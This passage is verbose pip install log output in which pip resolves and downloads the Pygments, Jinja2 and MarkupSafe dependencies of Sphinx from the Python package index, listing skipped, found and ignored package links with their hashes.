(from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.5-py2.5.egg#md5=d046e571f0ec37fe0b53d18fb85fca7e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.5.1-py2.5.egg#md5=261d5ace71cb52db9838cd431cf7e06b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.6-py2.5.egg#md5=d03bce826b82f9dddfaebe3f00ffb71b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.7-py2.5.egg#md5=6b18972281ac104089cae70ac3d64c73 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.7.1-py2.5.egg#md5=60f739470ac24c4e3fa9e855ea39b47e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.8-py2.5.egg#md5=b2e5ef665c54ebed555535a6e740865b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.8.1-py2.5.egg#md5=7be7ada4df32c8de40e59bae7730d75d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.9-py2.5.egg#md5=67e5ace0841016409084ca1833a55c90 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.0-py2.5.egg#md5=7e39d44a5b9ec0e037714863d5c6a2e6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.1-py2.5.egg#md5=b80e6047b4a0b891c3dd51a337f82fa8 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.1.1-py2.5.egg#md5=f30d1b35a1df68c57788b0cad8e9d9b7 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2-py2.5.egg#md5=15ff450d42316fe4c523d7ff7fcfe1eb (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2.1-py2.5.egg#md5=0b3df89be7ff4ef3ac4c1526e90b70d8 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2.2-py2.5.egg#md5=bbb12b2aba148e69923c7143d2af73bd (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.3-py2.5.egg#md5=ad4dd7aa13adfa5fec0f3d4b028b2aa5 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.3.1-py2.5.egg#md5=16e57c826292d420151ea95498f0d1f4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.4-py2.5.egg#md5=c8979b9844ad9e39aeaf9469185a70a4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.0-py2.6.egg#md5=ac2f4555581eab7e701826aea25f0064 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.1-py2.6.egg#md5=414937b8a0436aa172da557cab645fff (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.1.1-py2.6.egg#md5=310114f94710d28910fe2ed36bb79c8c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2-py2.6.egg#md5=cf5c76451abb9a4cd70770992517646e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2.1-py2.6.egg#md5=ab59806c94e95dab943bfd395f651013 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2.2-py2.6.egg#md5=4c78e542315e7ef3a60a265b7eba107e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.3-py2.6.egg#md5=25905d606bd47ca2e062a17e4319537f (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.3.1-py2.6.egg#md5=05270ee059c038407364b28993980960 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.4-py2.6.egg#md5=306241dd68799753cdb4a2c9ce8e883a (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.5-py2.6.egg#md5=359d667ed004b6d1bee20917a7d06a7b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.6-py2.6.egg#md5=2584ae5795d01cefbff0744136df3f65 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.6rc1-py2.6.egg#md5=5c733e2bf7067a2cef1e4c066339d0dd (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.4-py2.7.egg#md5=acbdde4dae30efaba8cfa86dcb6070f2 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.5-py2.7.egg#md5=8ea02c2eafb2580336b7637be629f7ce (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.6-py2.7.egg#md5=1e1e52b1e434502682aab08938163034 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.6rc1-py2.7.egg#md5=cb27d1ade95d892e4bebe2b3de16618b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.10.tar.gz#md5=1f24bee773010d0d53690a6f4bdc8bdb (from https://pypi.python.org/simple/Pygments/), version: 0.10 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.1.tar.gz#md5=a7dc555f316437ba5241855ac306209a (from https://pypi.python.org/simple/Pygments/), version: 0.11.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.tar.gz#md5=5c27a000483079643715515b1b78c6df (from https://pypi.python.org/simple/Pygments/), version: 0.11 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.1.tar.gz#md5=0a150344fa1342d99d2cd21fdca46a4c (from https://pypi.python.org/simple/Pygments/), version: 0.5.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.tar.gz#md5=257bf399b12b815a7f18c9381dd53611 (from https://pypi.python.org/simple/Pygments/), version: 0.5 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.6.tar.gz#md5=20565d0c088af98c36033bebfdfe5f09 (from https://pypi.python.org/simple/Pygments/), version: 0.6 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.1.tar.gz#md5=8b5b50fb53ce39f94dbcf7040c0a441a (from https://pypi.python.org/simple/Pygments/), version: 0.7.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.tar.gz#md5=31df83fbb7bc7b5822f66e932b1633e9 (from https://pypi.python.org/simple/Pygments/), version: 0.7 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.1.tar.gz#md5=f71971cbe9db538a40ea808ac5da3dc0 (from https://pypi.python.org/simple/Pygments/), version: 0.8.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.tar.gz#md5=037b8f65d36b8f283d135dac17ec1bf8 (from https://pypi.python.org/simple/Pygments/), version: 0.8 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.9.tar.gz#md5=8cdce901a66c0febb576955e90814485 (from https://pypi.python.org/simple/Pygments/), version: 0.9 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.0.tar.gz#md5=70c40ff5331460cabfcb24f86a8d451d (from https://pypi.python.org/simple/Pygments/), version: 1.0 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.1.tar.gz#md5=80ac64669a75e2d6647822b2778e38c8 (from https://pypi.python.org/simple/Pygments/), version: 1.1.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.tar.gz#md5=af52c60ae9f5906a92e4102e9076f6a0 (from https://pypi.python.org/simple/Pygments/), version: 1.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.1.tar.gz#md5=f23d04efa2d346c52656a42a396d6442 (from https://pypi.python.org/simple/Pygments/), version: 1.2.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.2.tar.gz#md5=920e706a817437eae3a1406380421a3d (from https://pypi.python.org/simple/Pygments/), version: 1.2.2 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.tar.gz#md5=aa965efa5eb85203052afe7baa24e2d3 (from https://pypi.python.org/simple/Pygments/), version: 1.2 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.3.1.tar.gz#md5=54be67c04834f13d7e255e1797d629a5 (from https://pypi.python.org/simple/Pygments/), version: 1.3.1 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.3.tar.gz#md5=f5b7a55170243a78b9f41e3cf186d2da (from https://pypi.python.org/simple/Pygments/), version: 1.3 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.4.tar.gz#md5=d77ac8c93a7fb27545f2522abe9cc462 (from https://pypi.python.org/simple/Pygments/), version: 1.4 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.5.tar.gz#md5=ef997066cc9ee7a47d01fb4f3da0b5ff (from https://pypi.python.org/simple/Pygments/), version: 1.5 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6.tar.gz#md5=a18feedf6ffd0b0cc8c8b0fbdb2027b1 (from https://pypi.python.org/simple/Pygments/), version: 1.6 - - Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6rc1.tar.gz#md5=633fbb59d2f05acedcafd8cd851d0935 (from https://pypi.python.org/simple/Pygments/), version: 1.6rc1 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.10.tar.gz#md5=1f24bee773010d0d53690a6f4bdc8bdb (from https://pypi.python.org/simple/Pygments/), version 0.10 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.1.tar.gz#md5=a7dc555f316437ba5241855ac306209a (from https://pypi.python.org/simple/Pygments/), version 0.11.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.tar.gz#md5=5c27a000483079643715515b1b78c6df (from https://pypi.python.org/simple/Pygments/), version 0.11 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.1.tar.gz#md5=0a150344fa1342d99d2cd21fdca46a4c (from https://pypi.python.org/simple/Pygments/), version 0.5.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.tar.gz#md5=257bf399b12b815a7f18c9381dd53611 (from https://pypi.python.org/simple/Pygments/), version 0.5 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.6.tar.gz#md5=20565d0c088af98c36033bebfdfe5f09 (from https://pypi.python.org/simple/Pygments/), version 0.6 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.1.tar.gz#md5=8b5b50fb53ce39f94dbcf7040c0a441a (from https://pypi.python.org/simple/Pygments/), version 0.7.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.tar.gz#md5=31df83fbb7bc7b5822f66e932b1633e9 (from https://pypi.python.org/simple/Pygments/), version 0.7 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.1.tar.gz#md5=f71971cbe9db538a40ea808ac5da3dc0 (from https://pypi.python.org/simple/Pygments/), version 0.8.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.tar.gz#md5=037b8f65d36b8f283d135dac17ec1bf8 (from https://pypi.python.org/simple/Pygments/), version 0.8 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.9.tar.gz#md5=8cdce901a66c0febb576955e90814485 (from https://pypi.python.org/simple/Pygments/), version 0.9 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.0.tar.gz#md5=70c40ff5331460cabfcb24f86a8d451d (from https://pypi.python.org/simple/Pygments/), version 1.0 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.1.tar.gz#md5=80ac64669a75e2d6647822b2778e38c8 (from https://pypi.python.org/simple/Pygments/), version 1.1.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.tar.gz#md5=af52c60ae9f5906a92e4102e9076f6a0 (from https://pypi.python.org/simple/Pygments/), version 1.1 doesn't match >=1.2 - - Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6rc1.tar.gz#md5=633fbb59d2f05acedcafd8cd851d0935 (from https://pypi.python.org/simple/Pygments/), version 1.6rc1 is a pre-release (use --pre to allow). - - Using version 1.6 (newest of versions: 1.6, 1.5, 1.4, 1.3.1, 1.3, 1.2.2, 1.2.1, 1.2) - - Downloading from URL https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6.tar.gz#md5=a18feedf6ffd0b0cc8c8b0fbdb2027b1 (from https://pypi.python.org/simple/Pygments/) - - Running setup.py egg_info for package Pygments - - running egg_info - - creating pip-egg-info/Pygments.egg-info - - writing pip-egg-info/Pygments.egg-info/PKG-INFO - - writing top-level names to pip-egg-info/Pygments.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/Pygments.egg-info/dependency_links.txt - - writing entry points to pip-egg-info/Pygments.egg-info/entry_points.txt - - writing manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - writing manifest file 'pip-egg-info/Pygments.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/Pygments has version 1.6, which satisfies requirement Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc) - -Downloading/unpacking Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc) - - Getting page https://pypi.python.org/simple/Jinja2/ - - URLs to search for versions for Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc): - - * https://pypi.python.org/simple/Jinja2/ - - Analyzing links from page https://pypi.python.org/simple/Jinja2/ - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-linux-i686.egg#md5=e4286023eed2f6d8cc5f5075106db1f4 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-linux-x86_64.egg#md5=3f0499f5f0caa7943d4ba3cb20740f5e (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-macosx-10.3-i386.egg#md5=3b5901001e84aa62c8bc4c6f0a638b18 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.0rc1-py2.4-win32.egg#md5=6f17c620d4bc9272f3061b70ab7af11b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.1-py2.4-win32.egg#md5=d8eb08f4ef61b05a00039a48f620deeb (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/J/Jinja2/Jinja2-2.1.1-py2.4-win32.egg#md5=ce0a82883624cd31c8b513b7bc961148 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-linux-i686.egg#md5=3a2be0c13c6036d59e81f9b3db82bdfa (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-linux-x86_64.egg#md5=3ccf95d2d6245b5407cdda0577b24f64 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-macosx-10.3-i386.egg#md5=bc82f2a2e9b55ca1472bc7b89fedca06 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.0rc1-py2.5-win32.egg#md5=40af7fdc93abd3892b6ea2f208a6033b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.1-py2.5-win32.egg#md5=135dad62ce5de34a54d568a2b3cd05f0 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/J/Jinja2/Jinja2-2.1.1-py2.5-win32.egg#md5=a6cd9757966640a7bb7e887c24dd9ff3 (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/J/Jinja2/Jinja2-2.1-py2.6-win32.egg#md5=8319235be842d5a61c552be8d206f65a (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.6/J/Jinja2/Jinja2-2.1.1-py2.6-win32.egg#md5=8540a2bf5bfd263842d3a7c6df13977b (from https://pypi.python.org/simple/Jinja2/); unknown archive format: .egg - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0.tar.gz#md5=19fe3ee10ee94a6003c53374112f2403 (from https://pypi.python.org/simple/Jinja2/), version: 2.0 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0rc1.tar.gz#md5=7751e097f23fec244634e601d86e1d60 (from https://pypi.python.org/simple/Jinja2/), version: 2.0rc1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.1.tar.gz#md5=b37fc262e4f613eec57c3defe6aea97c (from https://pypi.python.org/simple/Jinja2/), version: 2.1.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.tar.gz#md5=c7a31931c95a7ae5e1baf21074fdd576 (from https://pypi.python.org/simple/Jinja2/), version: 2.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.1.tar.gz#md5=fea849d68891218eb0b21c170f1c32d5 (from https://pypi.python.org/simple/Jinja2/), version: 2.2.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.tar.gz#md5=7ea7821801eee5def026c216d80e5103 (from https://pypi.python.org/simple/Jinja2/), version: 2.2 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.3.1.tar.gz#md5=391c7dd06c62dfe7e30ebaad7af0a401 (from https://pypi.python.org/simple/Jinja2/), version: 2.3.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.3.tar.gz#md5=7fc34b115f157474d988db8caab6895c (from https://pypi.python.org/simple/Jinja2/), version: 2.3 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.4.1.tar.gz#md5=e0cf5af057fac63ac9689b86c8b31ce6 (from https://pypi.python.org/simple/Jinja2/), version: 2.4.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.4.tar.gz#md5=635746009a6560e20db97e94db28867d (from https://pypi.python.org/simple/Jinja2/), version: 2.4 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.1.tar.gz#md5=12be091a5d2edae961b65adfc99da826 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.2.tar.gz#md5=3829be2926a067ee024e6d3e5327dbf7 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.2 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.3.tar.gz#md5=cae31ce405ec5e4f167913b25ee4f65a (from https://pypi.python.org/simple/Jinja2/), version: 2.5.3 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.4.tar.gz#md5=4553d5aef15d550bfebbc1903014067e (from https://pypi.python.org/simple/Jinja2/), version: 2.5.4 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.5.tar.gz#md5=83b20c1eeb31f49d8e6392efae91b7d5 (from https://pypi.python.org/simple/Jinja2/), version: 2.5.5 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.5.tar.gz#md5=d02f82e33afe918cef8a9abcd23ccd78 (from https://pypi.python.org/simple/Jinja2/), version: 2.5 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.6.tar.gz#md5=1c49a8825c993bfdcf55bb36897d28a2 (from https://pypi.python.org/simple/Jinja2/), version: 2.6 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.1.tar.gz#md5=282aed153e69f970d6e76f78ed9d027a (from https://pypi.python.org/simple/Jinja2/), version: 2.7.1 - - Found link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.tar.gz#md5=c2fb12cbbb523c57d3d15bfe4dc0e8fe (from https://pypi.python.org/simple/Jinja2/), version: 2.7 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0.tar.gz#md5=19fe3ee10ee94a6003c53374112f2403 (from https://pypi.python.org/simple/Jinja2/), version 2.0 doesn't match >=2.3 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.0rc1.tar.gz#md5=7751e097f23fec244634e601d86e1d60 (from https://pypi.python.org/simple/Jinja2/), version 2.0rc1 doesn't match >=2.3 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.1.tar.gz#md5=b37fc262e4f613eec57c3defe6aea97c (from https://pypi.python.org/simple/Jinja2/), version 2.1.1 doesn't match >=2.3 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.1.tar.gz#md5=c7a31931c95a7ae5e1baf21074fdd576 (from https://pypi.python.org/simple/Jinja2/), version 2.1 doesn't match >=2.3 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.1.tar.gz#md5=fea849d68891218eb0b21c170f1c32d5 (from https://pypi.python.org/simple/Jinja2/), version 2.2.1 doesn't match >=2.3 - - Ignoring link https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.2.tar.gz#md5=7ea7821801eee5def026c216d80e5103 (from https://pypi.python.org/simple/Jinja2/), version 2.2 doesn't match >=2.3 - - Using version 2.7.1 (newest of versions: 2.7.1, 2.7, 2.6, 2.5.5, 2.5.4, 2.5.3, 2.5.2, 2.5.1, 2.5, 2.4.1, 2.4, 2.3.1, 2.3) - - Downloading from URL https://pypi.python.org/packages/source/J/Jinja2/Jinja2-2.7.1.tar.gz#md5=282aed153e69f970d6e76f78ed9d027a (from https://pypi.python.org/simple/Jinja2/) - - Running setup.py egg_info for package Jinja2 - - running egg_info - - creating pip-egg-info/Jinja2.egg-info - - writing requirements to pip-egg-info/Jinja2.egg-info/requires.txt - - writing pip-egg-info/Jinja2.egg-info/PKG-INFO - - writing top-level names to pip-egg-info/Jinja2.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/Jinja2.egg-info/dependency_links.txt - - writing entry points to pip-egg-info/Jinja2.egg-info/entry_points.txt - - writing manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - warning: no files found matching '*' under directory 'custom_fixers' - - warning: no previously-included files matching '*' found under directory 'docs/_build' - - warning: no previously-included files matching '*.pyc' found under directory 'jinja2' - - warning: no previously-included files matching '*.pyc' found under directory 'docs' - - warning: no previously-included files matching '*.pyo' found under directory 'jinja2' - - warning: no previously-included files matching '*.pyo' found under directory 'docs' - - writing manifest file 'pip-egg-info/Jinja2.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/Jinja2 has version 2.7.1, which satisfies requirement Jinja2>=2.3 (from Sphinx>=0.6->sphinxcontrib-fulltoc) - - skipping extra i18n - -Downloading/unpacking markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc) - - Getting page https://pypi.python.org/simple/markupsafe/ - - URLs to search for versions for markupsafe (from Jinja2>=2.3->Sphinx>=0.6->sphinxcontrib-fulltoc): - - * https://pypi.python.org/simple/markupsafe/ - - Analyzing links from page https://pypi.python.org/simple/MarkupSafe/ - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.11.tar.gz#md5=48d445941c16d6aa55caf8e148fc0911 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.11 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.12.tar.gz#md5=edd4b6950f6d4ddc6e23fa322f8f0f53 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.12 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.13.tar.gz#md5=f44b8f4bba98b3e66884158f97585829 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.13 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.14.tar.gz#md5=68c6ea6df002649218d24cf490a8ca82 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.14 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.15.tar.gz#md5=4e7c4d965fe5e033fa2d7bb7746bb186 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.15 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.16.tar.gz#md5=fe88012f7fe75252efd26cd25a100851 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.16 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.17.tar.gz#md5=61d5edc130e3242cfaff9fd9fdefde8f (from https://pypi.python.org/simple/MarkupSafe/), version: 0.17 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.18.tar.gz#md5=f8d252fd05371e51dec2fe9a36890687 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.18 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.1.tar.gz#md5=7f469f664b565b440f099997255e6d3c (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.1 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.2.tar.gz#md5=69b72d1afdd9e808f9c1ef65f819c7a6 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.2 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.3.tar.gz#md5=99dccbeb83302f6b593d382098b3b43a (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9.3 - - Found link https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.9.tar.gz#md5=10a7c6bf81f91f280ba9e76e32e01c94 (from https://pypi.python.org/simple/MarkupSafe/), version: 0.9 - - Using version 0.18 (newest of versions: 0.18, 0.17, 0.16, 0.15, 0.14, 0.13, 0.12, 0.11, 0.9.3, 0.9.2, 0.9.1, 0.9) - - Downloading MarkupSafe-0.18.tar.gz - - Downloading from URL https://pypi.python.org/packages/source/M/MarkupSafe/MarkupSafe-0.18.tar.gz#md5=f8d252fd05371e51dec2fe9a36890687 (from https://pypi.python.org/simple/MarkupSafe/) - - Running setup.py egg_info for package markupsafe - - running egg_info - - creating pip-egg-info/MarkupSafe.egg-info - - writing pip-egg-info/MarkupSafe.egg-info/PKG-INFO - - writing top-level names to pip-egg-info/MarkupSafe.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/MarkupSafe.egg-info/dependency_links.txt - - writing manifest file 'pip-egg-info/MarkupSafe.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 